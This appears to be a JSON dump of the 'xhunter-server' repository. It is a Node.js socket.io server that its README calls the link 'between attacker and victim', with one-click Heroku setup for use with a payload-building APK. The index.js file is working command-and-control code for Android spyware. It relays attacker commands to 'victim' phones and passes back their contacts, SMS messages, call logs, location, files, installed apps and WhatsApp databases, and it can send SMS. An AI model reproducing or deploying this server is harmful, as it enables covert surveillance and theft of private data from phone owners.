[
  {
    "path": ".gitignore",
    "content": "# node.js\n#\nnode_modules/\nnpm-debug.log\nyarn-error.log"
  },
  {
    "path": "README.md",
    "content": "# xhunter-server\n\nxhunter-server is used to communicate between attacker and victim. It is very easy to host on [heroku](https://www.heroku.com/). follow the below steps:\n\n#### Setup\n- Signup and create a heroku account [here](https://signup.heroku.com)\n- After login, click the below **Deploy** button.\n\n   [![Deploy](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy?template=https://github.com/anirudhmalik/xhunter-server)\n \n - Give your app a name `<your_app_name>` and click `Deploy app` button.\n - Wait for the process to complete. \n - Once complete, Click `view app` and If you see `Welcome to Xhunter Backend Server!!` then you have successfully created your server.\n - Now use this url `https://<your_app_name>.herokuapp.com` in [xhunter_v1.6.apk](https://github.com/anirudhmalik/xhunter/releases/tag/v1.6). during building payload and listening connection.\n"
  },
  {
    "path": "app.json",
    "content": "{\n    \"name\": \"xhunter-server\",\n    \"description\": \"backbone for xhunter app\",\n    \"repository\": \"https://github.com/anirudhmalik/xhunter/tree/master/xhunter-server\"\n}"
  },
  {
    "path": "index.js",
    "content": "const express = require('express');\nconst app = express()\nconst server = require('http').createServer(app)\nconst { Server } = require('socket.io')\nconst io = new Server(server, {\n  maxHttpBufferSize: 1e8, // 1mb\n});\n\nvar victimList={};\nvar deviceList={};\nvar victimData={};\nvar adminSocketId=null;\nconst port = 8080;\n\nserver.listen(process.env.PORT || port, (err) => {  if (err) return;log(\"Server Started : \" + port);});\napp.get('/', (req, res) => res.send('Welcome to Xhunter Backend Server!!'))\n\nio.on('connection', (socket) => {\n    socket.on('adminJoin', ()=>{\n        adminSocketId=socket.id;\n        if(Object.keys(victimData).length>0){\n            Object.keys(victimData).map((key)=>socket.emit(\"join\", victimData[key]));\n        }\n    })\n    socket.on('request', request);//from attacker\n    socket.on('join',(device)=>{\n        log(\"Victim joined => socketId \"+JSON.stringify(socket.id));\n        victimList[device.id] =  socket.id;\n        victimData[device.id]= {...device,socketId: socket.id};\n        deviceList[socket.id] =  {\n          \"id\":  device.id,\n          \"model\":  device.model\n        }\n        socket.broadcast.emit(\"join\", {...device,socketId: socket.id});\n      });\n\n      socket.on('getDir',(data)=>response(\"getDir\",data));\n      socket.on('getInstalledApps',(data)=>response(\"getInstalledApps\",data));\n      socket.on('getContacts',(data)=>response(\"getContacts\",data));\n      socket.on('sendSMS',(data)=>response(\"sendSMS\",data));\n      socket.on('getCallLog',(data)=>response(\"getCallLog\",data));\n      socket.on(\"previewImage\", (data) =>response(\"previewImage\",data));\n      socket.on(\"error\", (data) =>response(\"error\",data));\n      socket.on(\"getSMS\", (data) =>response(\"getSMS\",data));\n      socket.on('getLocation',(data)=>response(\"getLocation\",data));\n     \n      socket.on('disconnect', () => {\n        if(socket.id===adminSocketId){\n            adminSocketId=null\n        }else{\n            response(\"disconnectClient\",socket.id)\n            Object.keys(victimList).map((key)=>{\n                if(victimList[key] === socket.id){\n                  delete victimList[key]\n                  delete victimData[key]\n                }\n              })\n        }\n    });\n    \n    socket.on(\"download\", (d, callback) =>responseBinary(\"download\", d, callback));\n    socket.on(\"downloadWhatsappDatabase\", (d, callback) => {\n        socket.broadcast.emit(\"downloadWhatsappDatabase\", d, callback);\n       });\n\n\n});\n\nconst request =(d)=>{// request from attacker to victim\n    let { to, action, data } = JSON.parse(d);\n    log(\"Requesting action: \"+ action);\n    io.to(victimList[to]).emit(action, data);\n  }\n\nconst response =(action, data)=>{// response from victim to attacker\n    if(adminSocketId){\n        log(\"response action: \"+ action);\n        io.to(adminSocketId).emit(action, data);\n    }\n  }\n  const responseBinary =(action, data, callback)=>{// response from victim to attacker\n    if(adminSocketId){\n        log(\"response action: \"+ action);\n        callback(\"success\")\n        io.to(adminSocketId).emit(action, data);\n    }\n  }\n// LOGGER\nconst log = (log) =>{\n    console.log(log)\n  }\n"
  },
  {
    "path": "package.json",
    "content": "{\n  \"name\": \"xhunter-server\",\n  \"version\": \"1.0.0\",\n  \"description\": \"backbone for xhunter app\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"start\": \"nodemon index.js\"\n  },\n  \"keywords\": [\n    \"xhunter-server\"\n  ],\n  \"author\": \"anirudhmalik\",\n  \"license\": \"MIT\",\n  \"dependencies\": {\n    \"express\": \"^4.18.1\",\n    \"nodemon\": \"^2.0.19\",\n    \"socket.io\": \"^4.5.1\"\n  },\n  \"engines\": {\n    \"node\": \"16.x\"\n  }\n}\n"
  }
]